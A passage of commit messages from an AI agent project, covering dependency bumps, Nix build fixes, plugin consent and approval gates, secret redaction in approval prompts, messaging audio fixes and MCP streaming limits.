- use-effect-event: 2.0.3 -> 2.0.4
- use-sync-external-store: 1.6.0 -> 1.7.0
- uuid: 14.0.1 -> 14.0.2
- zustand: 5.0.14 -> 5.0.15
@playwright/test: 1.62.1 -> 1.64.0 (pins edited: 2; also: {'playwright': "['1.62.1']->['1.64.0']", 'playwright-core': "['1.62.1']->['1.64.0']"})
@tabler/icons-react: 3.44.0 -> 3.49.0 (pins edited: 1; also: {'@tabler/icons': "['3.44.0']->['3.49.0']"})
@tanstack/react-virtual: 3.14.13 -> 3.14.14 (pins edited: 1; also: {'@tanstack/virtual-core': "['3.17.11']->['3.18.0']"})
globals: 17.7.0 -> 17.13.0 (pins edited: 1; also: {})
ignore: 7.0.6 -> 7.0.12 (pins edited: 1; also: {})
katex: 0.18.4 -> 0.19.0 (pins edited: 3; also: {'commander': "['8.3.0']->['15.0.0']"})
lefthook: 2.1.14 -> 2.2.1 (pins edited: 1; also: {'lefthook-darwin-arm64': "['2.1.14']->['2.2.1']", 'lefthook-darwin-x64': "['2.1.14']->['2.2.1']", 'lefthook-freebsd-arm64': "['2.1.14']->['2.2.1']", 'lefthook-freebsd-x64': "['2.1.14']->['2.2.1']", 'lefthook-linux-arm64': "['2.1.14']->['2.2.1']", 'lefthook-linux-x64': "['2.1.14']->['2.2.1']", 'lefthook-openbsd-arm64': "['2.1.14']->['2.2.1']", 'lefthook-openbsd-x64': "['2.1.14']->['2.2.1']", 'lefthook-windows-arm64': "['2.1.14']->['2.2.1']", 'lefthook-windows-x64': "['2.1.14']->['2.2.1']"})
mermaid: 11.16.1 -> 11.17.2 (pins edited: 2; also: {})
motion: 12.42.2 -> 12.43.0 (pins edited: 2; also: {'framer-motion': "['12.42.2']->['12.43.0']"})
nanoid: 6.0.0 -> 6.0.2 (pins edited: 1; also: {})
prettier: 3.9.5 -> 3.9.9 (pins edited: 2; also: {})
radix-ui: 1.6.7 -> 1.7.0 (pins edited: 2; also: {'@radix-ui/react-accessible-icon': "['1.1.15']->['1.1.16']", '@radix-ui/react-accordion': "['1.2.20']->['1.2.21']", '@radix-ui/react-alert-dialog': "['1.1.23']->['1.1.24']", '@radix-ui/react-arrow': "['1.1.15']->['1.1.16']", '@radix-ui/react-aspect-ratio': "['1.1.15']->['1.1.16']", '@radix-ui/react-avatar': "['1.2.6']->['1.2.7']", '@radix-ui/react-checkbox': "['1.3.11']->['1.3.12']", '@radix-ui/react-collapsible': "['1.1.20']->['1.1.21']", '@radix-ui/react-collection': "['1.1.15']->['1.1.16']", '@radix-ui/react-context-menu': "['2.3.7']->['2.3.8']", '@radix-ui/react-dialog': "['1.1.23']->['1.2.0']", '@radix-ui/react-direction': "['1.1.4']->['1.1.5']", '@radix-ui/react-dismissable-layer': "['1.1.19']->['1.1.20']", '@radix-ui/react-dropdown-menu': "['2.1.24']->['2.1.25']", '@radix-ui/react-focus-scope': "['1.1.16']->['1.2.0']", '@radix-ui/react-form': "['0.1.16']->['0.2.0']", '@radix-ui/react-hover-card': "['1.1.23']->['1.1.24']", '@radix-ui/react-label': "['2.1.15']->['2.1.16']", '@radix-ui/react-menu': "['2.1.24']->['2.1.25']", '@radix-ui/react-menubar': "['1.1.24']->['1.1.25']", '@radix-ui/react-navigation-menu': "['1.2.22']->['1.3.0']", '@radix-ui/react-one-time-password-field': "['0.1.16']->['0.1.17']", '@radix-ui/react-password-toggle-field': "['0.1.11']->['0.1.12']", '@radix-ui/react-popover': "['1.1.23']->['1.2.0']", '@radix-ui/react-popper': "['1.3.7']->['1.3.8']", '@radix-ui/react-portal': "['1.1.17']->['1.1.18']", '@radix-ui/react-presence': "['1.1.10']->['1.1.11']", '@radix-ui/react-primitive': "['2.1.10']->['2.1.11']", '@radix-ui/react-progress': "['1.1.16']->['1.1.17']", '@radix-ui/react-radio-group': "['1.4.7']->['1.4.8']", '@radix-ui/react-roving-focus': "['1.1.19']->['1.1.20']", '@radix-ui/react-scroll-area': "['1.2.18']->['1.3.0']", '@radix-ui/react-select': "['2.3.7']->['2.3.8']", '@radix-ui/react-separator': "['1.1.15']->['1.1.16']", '@radix-ui/react-slider': "['1.4.7']->['1.5.0']", '@radix-ui/react-slot': "['1.3.3']->['1.4.0']", '@radix-ui/react-switch': "['1.3.7']->['1.3.8']", '@radix-ui/react-tabs': "['1.1.21']->['1.1.22']", '@radix-ui/react-toast': "['1.2.23']->['1.2.24']", '@radix-ui/react-toggle': "['1.1.18']->['1.1.19']", '@radix-ui/react-toggle-group': "['1.1.19']->['1.1.20']", '@radix-ui/react-toolbar': "['1.1.19']->['1.1.20']", '@radix-ui/react-tooltip': "['1.2.16']->['1.3.0']", '@radix-ui/react-use-size': "['1.1.4']->['1.1.5']", '@radix-ui/react-visually-hidden': "['1.2.11']->['1.2.12']"})
react-arborist: 3.13.2 -> 3.16.0 (pins edited: 1; also: {})
react-router: 8.3.0 -> 8.4.0 (pins edited: 2; also: {})
react-shiki: 0.9.3 -> 0.11.2 (pins edited: 1; also: {})
remend: 1.3.0 -> 1.4.0 (pins edited: 1; also: {})
shiki: 4.3.1 -> 4.4.3 (pins edited: 1; also: {'@shikijs/core': "['4.3.1']->['4.4.3']", '@shikijs/engine-javascript': "['4.3.1']->['4.4.3']", '@shikijs/engine-oniguruma': "['4.3.1']->['4.4.3']", '@shikijs/langs': "['4.3.1']->['4.4.3']", '@shikijs/primitive': "['4.3.1']->['4.4.3']", '@shikijs/themes': "['4.3.1']->['4.4.3']", '@shikijs/types': "['4.3.1']->['4.4.3']"})
tailwind-merge: 3.6.0 -> 3.7.0 (pins edited: 3; also: {})
three: 0.180.0 -> 0.186.1 (pins edited: 1; also: {})
tsx: 4.23.1 -> 4.23.15 (pins edited: 2; also: {})
tw-shimmer: 0.4.12 -> 0.4.13 (pins edited: 2; also: {})
typescript-eslint: 8.64.0 -> 8.71.1 (pins edited: 1; also: {'@typescript-eslint/eslint-plugin': "['8.64.0']->['8.71.1']", '@typescript-eslint/parser': "['8.64.0']->['8.71.1']", '@typescript-eslint/project-service': "['8.64.0']->['8.71.1']", '@typescript-eslint/scope-manager': "['8.64.0']->['8.71.1']", '@typescript-eslint/tsconfig-utils': "['8.64.0']->['8.71.1']", '@typescript-eslint/type-utils': "['8.64.0']->['8.71.1']", '@typescript-eslint/types': "['8.64.0']->['8.71.1']", '@typescript-eslint/typescript-estree': "['8.64.0']->['8.71.1']", '@typescript-eslint/utils': "['8.64.0']->['8.71.1']", '@typescript-eslint/visitor-keys': "['8.64.0']->['8.71.1']"})
wait-on: 9.0.10 -> 9.5.1 (pins edited: 1; also: {})
ws: 8.21.1 -> 8.22.0 (pins edited: 2; also: {})
zod: 4.4.3 -> 4.6.5 (pins edited: 1; also: {})
- @babel/plugin-transform-regenerator: 7.29.7 -> 7.29.8
- @babel/plugin-transform-spread: 7.29.7 -> 7.29.8
- @babel/plugin-transform-typescript: 7.29.7 -> 7.29.9
- @babel/runtime: 7.29.7 -> 7.29.10
- @babel/types: 7.29.7 -> 7.29.8
- @jridgewell/sourcemap-codec: 1.5.5 -> 1.6.0
- @mermaid-js/parser: 1.2.0 -> 1.2.1
- @peculiar/asn1-schema: 2.8.0 -> 2.10.0
- @peculiar/asn1-x509: 2.8.0 -> 2.10.0
- @peculiar/asn1-x509-attr: 2.8.0 -> 2.10.0
- @types/d3-geo: 3.1.0 -> 3.1.1
- @types/d3-selection: 3.0.11 -> 3.0.12
- @types/d3-shape: 3.1.8 -> 3.2.0
- @types/d3-zoom: 3.0.8 -> 3.0.9
- @types/react: 19.2.17 -> 19.3.0
- @types/ws: 8.18.1 -> 8.18.2
- @ungap/structured-clone: 1.3.3 -> 1.4.0
- acorn: 8.17.0 -> 8.19.0
- algoliasearch-helper: 3.29.2 -> 3.30.0
- ansi-regex: 6.2.2 -> 6.4.0
- autoprefixer: 10.5.4 -> 10.6.1
- baseline-browser-mapping: 2.11.27 -> 2.11.28
- bonjour-service: 1.4.3 -> 1.4.4
- bundle-name: 4.1.0 -> 4.1.1
- core-js: 3.49.0 -> 3.50.0
- core-js-compat: 3.49.0 -> 3.50.0
- cssdb: 8.9.0 -> 8.12.0
- cytoscape: 3.34.0 -> 3.34.3
- dayjs: 1.11.21 -> 1.11.23
- default-browser: 5.5.0 -> 5.5.1
- electron-to-chromium: 1.5.450 -> 1.5.452
- enhanced-resolve: 5.24.2 -> 5.26.0
- es-module-lexer: 2.3.1 -> 2.3.2
- es-toolkit: 1.49.0 -> 1.52.0
- estree-util-scope: 1.0.0 -> 1.0.1
- fastq: 1.20.1 -> 1.20.3
- fs-extra: 11.3.6 -> 11.4.1
- glob-to-regex.js: 1.2.0 -> 1.3.1
- html-webpack-plugin: 5.6.7 -> 5.6.8
- ipaddr.js: 2.4.0 -> 2.5.0
- is-core-module: 2.16.2 -> 2.17.0
- mdast-util-directive: 3.1.0 -> 3.1.1
- mdast-util-find-and-replace: 3.0.2 -> 3.0.3
- mdast-util-from-markdown: 2.0.3 -> 2.1.0
- mdast-util-gfm-strikethrough: 2.0.0 -> 2.0.1
- mdast-util-to-markdown: 2.1.2 -> 2.2.0
- micromark: 4.0.2 -> 4.0.3
- micromark-extension-gfm-table: 2.1.1 -> 2.1.2
- micromark-factory-space: 2.0.1 -> 2.1.0
- micromark-util-types: 2.0.2 -> 2.0.3
- node-releases: 2.0.57 -> 2.0.58
- package-manager-detector: 1.7.0 -> 1.9.0
- pvutils: 1.1.5 -> 1.2.0
- regenerate: 1.4.2 -> 1.5.0
- regenerate-unicode-properties: 10.2.2 -> 10.3.0
- regexpu-core: 6.4.0 -> 6.5.3
- regjsparser: 0.13.2 -> 0.13.4
- resolve: 1.22.12 -> 1.22.13
- sax: 1.6.0 -> 1.6.1
- svg-parser: 2.0.4 -> 2.1.0
- terser: 5.49.0 -> 5.51.2
- thingies: 2.6.0 -> 2.6.1
- tinyexec: 1.2.4 -> 1.3.1
- update-browserslist-db: 1.3.3 -> 1.3.4
- webpack-sources: 3.5.1 -> 3.6.0
- ws: 8.21.1 -> 8.22.0
katex: 0.18.4 -> 0.19.0 (pins edited: 1; also: {'commander': "['8.3.0']->['15.0.0']"})
mermaid: 11.16.1 -> 11.17.2 (pins edited: 1; also: {})
prism-react-renderer: 2.3.0 -> 2.4.1 (pins edited: 1; also: {})
serialize-javascript: 7.0.7 -> 7.1.2 (pins edited: 1; also: {})
uuid: 14.0.1 -> 14.0.2 (pins edited: 1; also: {})
- lru-cache: 11.5.2 -> 11.5.3
- uint8array-extras: 1.5.0 -> 1.6.0
- ws: 8.21.3 -> 8.22.0
- @bufbuild/protobuf: 2.14.0 -> 2.16.0
- @opentelemetry/context-async-hooks: 2.10.0 -> 2.12.0
- @opentelemetry/sdk-metrics: 2.10.0 -> 2.12.0
- @photon-ai/advanced-imessage: 2.1.0 -> 2.2.0
- @photon-ai/otel: 3.7.0 -> 3.8.1
- cjs-module-lexer: 2.2.1 -> 2.3.0
- lru-cache: 11.5.2 -> 11.5.3
- marked: 18.0.11 -> 18.1.0
- zod: 4.5.4 -> 4.6.5
@opentelemetry/core: 2.10.0 -> 2.12.0 (pins edited: 1; also: {})
@opentelemetry/exporter-logs-otlp-http: 0.218.0 -> 0.223.0 (pins edited: 1; also: {})
@opentelemetry/exporter-trace-otlp-http: 0.218.0 -> 0.223.0 (pins edited: 1; also: {'@opentelemetry/resources': "['2.7.1']->['2.12.0']"})
@opentelemetry/otlp-exporter-base: 0.218.0 -> 0.223.0 (pins edited: 1; also: {})
@opentelemetry/otlp-transformer: 0.218.0 -> 0.223.0 (pins edited: 1; also: {'@opentelemetry/resources': "['2.7.1']->['2.12.0']"})
protobufjs: 8.7.1 -> 8.8.0 (pins edited: 1; also: {})
spectrum-ts: 12.7.0 -> 12.10.1 (pins edited: 1; also: {'@opentelemetry/resources': "['2.10.0']->['2.12.0']", '@opentelemetry/sdk-trace': "['2.10.0']->['2.12.0']", '@opentelemetry/sdk-trace-base': "['2.10.0']->['2.12.0']", '@spectrum-ts/core': "['12.7.0']->['12.10.1']", '@spectrum-ts/imessage': "['12.7.0']->['12.10.1']", '@spectrum-ts/slack': "['12.7.0']->['12.10.1']", '@spectrum-ts/telegram': "['12.7.0']->['12.10.1']", '@spectrum-ts/terminal': "['12.7.0']->['12.10.1']", '@spectrum-ts/whatsapp-business': "['12.7.0']->['12.10.1']", 'es-module-lexer': "['2.3.2']->['3.0.3']", 'import-in-the-middle': "['3.3.3']->['3.5.2']"})
react+react-dom: 19.2.7 -> 19.3.0 (pins edited: 9; also: {})
react+react-dom: 19.2.7 -> 19.3.0 (pins edited: 2; also: {'scheduler': "['0.27.0']->['0.28.0']"})
- @babel/helpers: 7.29.7 -> 7.29.10
- @babel/parser: 7.29.7 -> 7.29.9
- @csstools/css-parser-algorithms: 4.0.0 -> 4.0.2
- micromark-core-commonmark: 2.0.3 -> 2.0.4
- tldts: 7.4.9 -> 7.4.18
- @babel/helper-create-regexp-features-plugin: 7.29.7 -> 7.29.10
- @babel/helpers: 7.29.7 -> 7.29.10
- @babel/parser: 7.29.7 -> 7.29.9
- @peculiar/asn1-cms: 2.8.0 -> 2.10.0
- @peculiar/asn1-csr: 2.8.0 -> 2.10.0
- @peculiar/asn1-ecc: 2.8.0 -> 2.10.0
- @peculiar/asn1-pkcs8: 2.8.0 -> 2.10.0
- @peculiar/asn1-rsa: 2.8.0 -> 2.10.0
- micromark-core-commonmark: 2.0.3 -> 2.0.4
- minimizer-webpack-plugin: 5.6.1 -> 5.13.0
- @babel/generator: 7.29.7 -> 7.29.8
- @babel/traverse: 7.29.7 -> 7.29.10
- @csstools/css-calc: 3.2.1 -> 3.4.3
- @csstools/css-color-parser: 4.1.9 -> 4.2.6
- @babel/generator: 7.29.7 -> 7.29.8
- @babel/traverse: 7.29.7 -> 7.29.10
- @peculiar/asn1-pfx: 2.8.0 -> 2.10.0
- @peculiar/asn1-pkcs9: 2.8.0 -> 2.10.0
- @babel/plugin-transform-modules-systemjs: 7.29.7 -> 7.29.8
vite: 8.2.4 -> 8.3.4 (pins edited: 3; also: {})
Root and desktop engines.node move from '^22.22.0 || ^24.11.0 || >=26.0.0' to '>=26', and the
website's from '>=20.0' to '>=26.0' (PM already pins Node 26.12.1). The lockfile workspace engine
mirrors, the CONTRIBUTING prerequisite, the tests-js engine-policy table and the
bootstrap-installer release workflow's setup-node pin (24.11.1 -> 26.12.1, which engine-strict
would now reject) follow.
shiki: 4.4.3 -> 4.5.0 (pins edited: 1; also: {'@shikijs/core': "['4.4.3']->['4.5.0']", '@shikijs/engine-javascript': "['4.4.3']->['4.5.0']", '@shikijs/engine-oniguruma': "['4.4.3']->['4.5.0']", '@shikijs/langs': "['4.4.3']->['4.5.0']", '@shikijs/primitive': "['4.4.3']->['4.5.0']", '@shikijs/themes': "['4.4.3']->['4.5.0']", '@shikijs/types': "['4.4.3']->['4.5.0']"})
streamdown: 2.5.0 -> 2.7.0 (pins edited: 1; also: {'remend': "['1.3.0']->['1.4.0']", 'marked': "['17.0.6']->['18.1.0']"})
`hermes plugins install blender` on a host without Blender ended with
"server 'blender' is unavailable: missing_app." — a raw state code with no
action. The install gate now reuses the sentence the runtime surfaces already
compose (tools/mcp_liveness.describe), with the catalog title as the app name
and the declared minimum version in the action:

  Can't install plugin 'blender': Blender is not installed. Install Blender
  5.1 or newer, then try again.

The availability -> unavailable-state mapping moves into one helper shared by
status() and the install gate.
A portable plugin with no app declaration for this OS maps to missing_app,
so describe() told the user to install an app that cannot fix the OS
restriction. It now says the app is not supported on this operating system.
The hermes-ink pin moved to 1.1.0 while @asamuzakjp/dom-selector's ^1.0.3 range stayed on a
hoisted 1.0.3 copy. Updating within that range leaves one bidi-js.
@nous-research/ui declares peer three ^0.180.0 (>=0.180.0 <0.181.0), so the 0.186.1 pin in web
left a second three: 0.180.0 hoisted for @nous-research/ui and 0.186.1 under web/node_modules,
both bundled into the dashboard. Back to the version the UI kit accepts until it widens its peer.
The shell pointed HERMES_PYTHON at the bare pm-pinned interpreter and reached
the uv2nix site-packages only through PYTHONPATH. Every consumer that replaces
PYTHONPATH (Ink's gateway bootstrap, image attachments, run_tests.sh's env -i)
got an interpreter with no dependencies, so 'hermes --tui' in the shell failed
with 'No module named ruamel'.

devVenv re-homes uv2nix's editable venv onto the pinned interpreter: a real
pyvenv.cfg whose home is the lock's python, devPython's site-packages, and
console scripts re-shebanged onto it. HERMES_PYTHON, VIRTUAL_ENV, python,
pytest and pm are now one interpreter and the shell sets no PYTHONPATH.

The shipped package and the shell share one tool list: runtimeDeps takes
ripgrep and ffmpeg from pm/lock.json too. Reverts the run_tests.sh PYTHONPATH
passthrough, which leaked a caller's PYTHONPATH into every HERMES_PYTHON run.
The dev-venv-self-contained check runs the venv under env -i.
cage, ghostty, grim and libglvnd, and the sandbox's Electron LD_LIBRARY_PATH,
pulled alsa-lib, which refuses to evaluate on darwin. They are Linux-only now.

pm-packages ran autoPatchelf over darwin artifacts and crashed on the Mach-O
ffmpeg; ELF patching is Linux-only. It also drops Nix's env-vars dump from
$out, and npm-pinned takes the node lib.nix passes instead of defaulting.
watch_file on a directory only tracks its own mtime, so in-place edits to
nix/*.nix or pm/*.py never reloaded. Use watch_dir, and watch the hermes
launcher the shell installs again.
nixpkgs 0954f7e (2026-07-29) -> 02c087f (2026-10-20) for recent security
fixes; uv2nix, pyproject.nix, build-system-pkgs, flake-parts and
home-manager to their newest revisions.
The updated nixpkgs deprecates the stdenv.is* aliases and warns on every
evaluation.
nixpkgs' patchelf 0.19.2 corrupts executables whose headers it must move
when --set-interpreter runs before --set-rpath, which is autoPatchelf's
order: the new read-only LOAD overlaps the RW one, .dynamic lands read-only
and ld.so faults (NixOS/patchelf#674). The pinned node segfaulted on start,
so every npm build (hermes-tui first) died with exit 139 after the flake
update moved patchelf off 0.15.

Apply upstream's fix (NixOS/patchelf#672, merged, not yet released) to the
patchelf the pm derivations use. Linux only; darwin derivations unchanged.
pm's macOS ffmpeg (martin-riedl) is a single binary with no ffprobe; moving
runtimeDeps to it dropped the ffprobe nixpkgs' ffmpeg used to provide, so
transcription could not measure duration and skipped splitting long
recordings. Darwin's runtime PATH links ffprobe alone from ffmpeg-headless,
keeping the pinned ffmpeg first.

devVenv copied only Python-shebang scripts, dropping the dev group's native
ruff and ty. Link every other command as-is, skipping the activate scripts
and devPython's interpreter links. dev-venv-self-contained runs both.
The file tools answered reads, writes, patches and searches on the host whenever the
terminal environment was a LocalEnvironment (isinstance gates in file_operations_lint,
file_operations_search, file_tools and tool_result_storage). A backend that subclasses
LocalEnvironment to confine its commands (the bubblewrap plugin) could not opt out except
through the process-wide HERMES_NATIVE_FILE_READ=0, so the file tools read and wrote paths
its sandbox hides or mounts read-only.

BaseEnvironment.uses_host_filesystem (False; True on LocalEnvironment) now drives every one
of those gates through env_uses_host_filesystem(). A subclass that sets it False gets every
file operation through env.execute. Each bundled backend evaluates the gates exactly as
before; the attribute is documented in the terminal-backend plugin guide.
The host fast path is POSIX-only and HERMES_NATIVE_FILE_READ=0 turns it off, so the control test only means something on POSIX with the variable unset.
Plugins had no supported way to run JavaScript in the in-app preview
Browser, so a page-level plugin had to scrape `<webview>` out of the app
DOM. This adds the door on the same guest runner drive_preview and the
preview tour use.

Salvaged from #142021. The bundled Preview Translator consumer from that
PR is not carried here: it ships as a standalone catalog plugin.
The preview Browser can hold pages the user is signed in to, so a plugin
running JavaScript there can read their session. Running it must never be
on by default.

- The door moves from the global `host.preview` (no plugin identity) to the
  per-plugin `ctx.preview`, and refuses unless the plugin's default export
  declares `capabilities: ['preview.executeJavaScript']` (the same place a
  Desktop plugin declares `defaultEnabled`).
- The first call on a page origin raises an app-owned dialog naming the
  plugin and the origin. "Allow on this site" persists a per-plugin,
  per-origin grant; "Don't allow", Esc or backdrop refuse for this app run.
- Grants are listed on the plugin's row in Capabilities > Plugins with a
  revoke per origin; uninstalling a disk plugin drops its grants so a later
  plugin reusing the id asks again.
- Only http(s) origins are grantable, and the script runs behind an in-page
  origin guard so a navigation between the consent check and the run
  refuses instead of landing on another site.
A catalog plugin that queries or creates a `<webview>` scripts the preview
page without declaring `preview.executeJavaScript` or asking the user.
Admission now fails it as "preview guest reach"; `ctx.preview` stays clean.
Review fixes on the consent gate:

- Grants are read from the shared localStorage record on every check and
  every change, and a `storage` listener refreshes the settings mirror. A
  revoke in one window now binds every other window at once, and a grant
  made in a stale window can no longer write a revoked origin back.
- Retiring a disk plugin (standalone uninstall AND a unified package's
  removal through reconciliation) forgets its grants and refuses its open
  prompts, so a late "Allow" cannot re-grant a removed plugin.
- The origin guard goes after a leading 'use strict' directive, so a
  strict script stays strict.
- The revoke button drops the native title= (the aria-label names it).
writeKey is best-effort, so a revoke on a full or blocked store used to
clear the settings list while the saved grant kept letting the plugin run
without asking. The grant mirror now shows what storage actually holds, a
revoke reports whether it was saved, and an unsaved revoke still refuses in
this window (the next call asks again) until Hermes restarts. Settings shows
an error instead of the success toast in that case.
A newline ended the directive even when the next line continued the
expression ('use strict'\n.toUpperCase()), so the inserted guard broke a
valid script. A newline now counts only when the next line cannot continue
the expression; comments after the directive still keep it strict.
On the local terminal backend _confine_source_images is a no-op, so a raw
host path in image_url / reference_image_urls reached FAL (direct and the
managed Nous gateway) verbatim and failed with file_download_error, even
though the schema advertises absolute local paths.

The FAL edit request now resolves sources through the guarded
resolve_local_source_to_data_url (credential-read guard, image sniff) and
downscales inlined images to stay under the managed gateway's ~4.5 MB
body limit (probed: 4.0 MB base64 accepted, 4.5 MB -> HTTP 413).
Plugin providers keep their own host reads.

Salvages the intent of #53921 through the guarded resolver.

Co-authored-by: liuhao1024 <11816344+liuhao1024@users.noreply.github.com>
Greptile P2s on #143768: an oversized palette PNG with a transparent index was
re-encoded as JPEG (P mode has no A band), and re-saving a JPEG dropped its EXIF
orientation so phone photos reached FAL sideways. Bake the orientation into the
pixels before re-encoding and treat info['transparency'] as alpha.
Squashed from the reviewed #143688 head ad3c0c7411 for the rebase onto main after #143668 (preview door) landed.
The deferred tool_search catalog shows each tool's first sentence clipped to
60 chars, so lines like 'image_generate: Generate high-quality images from
text prompts, or edit /…' hid that it edits with reference images on the
user's configured model. An agent skipped it and called FAL directly with a
hardcoded model.

- catalog line cap 60 -> 80 (CATALOG_SUMMARY_MAX_CHARS); every built-in
  tool's first sentence now fits and leads with what it does
- image_generate/video_generate say they use the configured model;
  image_generate says to use it rather than direct API calls/scripts
- web_search/web_extract/browser_exec name when to use each other
- drop a duplicated cronjob sentence and filler in skill_view/video_generate
- regenerate tests/fixtures/prompt_surface
Greptile P2 on #143770: the Krea-style lead was 81 chars and clipped.
On a `trust: untrusted` MCP server every write-capable call asks first. The
prompt offered "Allow for this session" and "Always" on messaging, TUI and
Desktop (Session on the CLI), but request_elicitation_consent collapsed every
yes to a one-call accept and recorded nothing, so the next call asked again.

The trust gate now passes an approval key `mcp:<server>/<tool>`: a session
answer is recorded for the chat, an always answer lands in the profile's
command_allowlist, and the gate checks is_approved before asking. Consent
with no identity to remember (MCP elicitation, sampling, payment-card fill,
spend-limit and over-limit prompts) sends allow_session/allow_permanent
false, so every surface offers only Once / Deny and a broader stale answer
covers that one call.

Salvaged from #109832 onto current main (the stale branch predates the
spend-limit gate and the approval_prompt split); its 141-line mock test
file is replaced by two invariant tests in the next commit.

Co-authored-by: jacques-commits <259371347+jacques-commits@users.noreply.github.com>
Session/Always on the untrusted-server gate stop the next prompt for that
tool only (driven through the real gateway approval queue); unkeyed consent
offers Once / Deny on the gateway card and the CLI panel and records
nothing. Both red on origin/main.
A plugin's transcript-directive card (e.g. a model card with Next/Convert
buttons) could only call host.composer.submit(null, …), which posts into
whichever composer is ACTIVE. With two chats side by side, a click on a
card in chat A posted into chat B when B's composer held focus last.

host.composer.* already addresses a session by id and fails closed; the
card just had no way to learn its own chat. DirectiveEntry now reads the
surrounding SessionView (primary pane or tile) and passes `sessionId`
(stored id, else runtime id, else null) to the contribution's render.

Additive: existing renders that ignore the field are unchanged, and
plugins feature-detect `props.sessionId !== undefined` on older hosts.
security.md documents approvals.mode off as "disables all approval checks,
equivalent to --yolo", but the MCP trust gate never consulted the bypass, so
a session on /yolo, --yolo, HERMES_YOLO_MODE or approvals.mode off was still
asked before every write call on a trust: untrusted server (Meshy users on
yolo kept getting prompted).

The gate now treats tools.approval.is_approval_bypass_active() (the
canonical three-source check: frozen --yolo, the calling session's /yolo,
approvals.mode off incl. a hosted-room policy) like a remembered grant. The
spend limit is untouched: it is a budget, not an approval, so a call that
would cross a declared spend_limit still asks, and is refused where nobody
can answer (cron, -q).
The trust-gate approval card named only the server and tool, so the
approver could not see what the call would mutate. Pass the call
arguments into the gate and render them as redacted, size-capped JSON.

Salvaged from #96710 onto current main (the gate now lives in
tools/mcp_tool_handlers.py). The consent-scope half of #96710 is
superseded by #143780 and is not included.
Follow-up to the salvaged argument display:

- Redact with force=True. The CLI prints the prompt as-is, so with
  security.redact_secrets off an API key in the arguments reached the
  terminal.
- Mask string values under credential-named fields (is_secret_field_name):
  the text redactor alone left db_password, client_secret and private_key
  values readable.
- Drop the inner ```json fence. Every surface already renders the prompt
  in a code block, and a nested fence closes Discord and Slack blocks early.
- Cap the JSON at 1,200 characters so the whole card fits Discord's
  2,000-character message cap with the truncation marker intact.
- Escape bidi/format and C1 control characters so the card cannot show
  something other than what the server receives.
- Omit the block when the call has no arguments, and keep it after the
  spend-limit notice and cost lines (the text fallback shows only the
  first 200 characters).
Only a window of four times the 1,200-character cap is scanned and
redacted. A 2 MB file-write payload held the approval prompt back for
0.9 s; it now takes about 10 ms. Anything past the window is beyond the
final cut, so the card is unchanged.
Review fixes:

- Mask a credential-named field whatever its value type (a numeric
  password, a list of credentials), and mask API-key header names
  (x-api-key and the rest of SECRET_HEADER_NAME_LIST). The JSON text
  form of those headers never matched the header redaction pattern.
- The gateway plain-text /approve prompt cut every command at 200
  characters, so a platform without buttons (or a card send that failed)
  showed the trust-gate header and none of the arguments. It now uses the
  base button card's preview budget, so a text approver sees what a card
  shows. Dangerous-command text prompts show more of a long command too.
The media dispatch routes every audio MEDIA file to send_voice with is_voice,
but the Discord adapter swallowed the flag and uploaded every file as a native
voice message named voice-message.ogg (audio/ogg), whatever the bytes were.
A sound-effect mp3 or a wav arrived as a voice note that does not play, with a
duration guessed from the byte size (mutagen is not a dependency).

is_voice=False now goes out as a regular attachment under its real name.
Voice intent ([[audio_as_voice]], auto-TTS) sends real Ogg/Opus: non-Opus
input is transcoded with ffmpeg, without ffmpeg the original goes out as an
attachment, and duration_secs is read from the Ogg granule position.
Same class as the Discord and Feishu fixes: these adapters' send_voice
ignored is_voice, so a plain audio MEDIA file (music, a sound effect)
became a voice note. The WhatsApp bridge always sends "audio" as ptt
(transcoded to Opus), WhatsApp Cloud converted every local mp3 into an
Opus voice bubble, and BlueBubbles flagged every file isAudioMessage.

is_voice=False now goes as a named document (WhatsApp bridge), as the
original audio/mpeg (WhatsApp Cloud), or as a plain attachment
(BlueBubbles). Voice intent and the no-flag auto-TTS path are unchanged.
Cron's _send_media_via_adapter used _is_voice to pick the voice sender
but never passed it on, so the Telegram adapter fell back to extension
routing and a [[audio_as_voice]] .mp3 always arrived as a sendAudio
music file while the run was recorded as delivered. Forward the flag
exactly like the gateway dispatch (BasePlatformAdapter._send_one):
voice-tagged audio transcodes into a voice bubble, plain audio-ext
attachments forward False and stay music files.

Fixes #132120
tests/cron/test_scheduler.py is over the 2,000-line cap and may only shrink.
- Feishu routed .ogg/.opus to an "audio" (voice) message by extension even
  for send_document / is_voice=False; Opus is now an audio message only when
  the caller requested one.
- Discord _ogg_opus_duration walks page headers by segment table instead of
  rfind("OggS"), which could match packet data and misread the granule.
- Tests: successful transcode path (bytes, duration, temp removed), OggS run
  inside packet data, Feishu plain .ogg/.opus and the voice-intent control.
httpx2 2.12 bounds every EventSource at 1 MiB by default, and the mcp
SDK's Streamable HTTP client inherits that bound unless the caller passes
max_sse_event_size. Hermes never passed it, so a server that sends
tools/list as one ~1 MiB SSE event (a 162-tool catalog) failed to connect
and was parked with 0 tools, although Hermes' own wire-body cap is 10 MiB
per event.

- Hand the SDK the wire-body cap as max_sse_event_size when its
  streamable_http_client accepts the argument (mcp 2.3), so one limit
  judges each event. Initial connect, reconnect, the SSE resume paths and
  `hermes mcp test` all build the client through this one function.
- Raise the wire cap's oversized-event error as the SDK httpx's SSEError
  too. The SDK reports an SSEError's message on the waiting request; any
  other error mid-event was swallowed as "SSE stream ended without a
  response" or answered by a Last-Event-ID reconnect that fetched the
  same event again.
- Word every cap violation as "MCP response exceeded N bytes", and
  translate httpx2's own limit message the same way. The legacy SSE
  client has no event-size argument in any mcp release, so it keeps the
  1 MiB SDK limit; its failure now says so, and `hermes mcp test` points
  at the transport setting instead of "check the server is running".

The new test serves real catalogs from a local MCP server subprocess:
just over 1 MiB on Streamable HTTP connects (red on base), and events
over each cap fail naming the exact byte limit.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
mcp is pinned at 2.3.0, whose streamable_http_client always takes
max_sse_event_size, so pass the wire cap directly instead of probing the
signature. Drop the error-message rewording and its test churn: with the
SDK cap lifted, the 1 MiB failure it reworded no longer happens on
Streamable HTTP, and the wire cap's own messages are unchanged. One
invariant test stays (a >1 MiB tools/list connects; red on main).

Live: Unreal Editor 5.8's MCP server streams a tool result as SSE whenever
the call carries a progressToken (every gateway/CLI turn does), and its
CaptureViewport result is ~1.9 MB. On main that call fails with "SSE stream
failed: Server-sent event exceeded the 1048576 byte limit"; with this
change it returns the 1.89 MB image result.
The fake only accepted (url, http_client), narrower than the real mcp 2.3.0
signature, so passing max_sse_event_size raised TypeError before either
test reached its reconnect/shutdown assertion. Assertions unchanged.
Both entries landed as community in #138020. The packages live in the
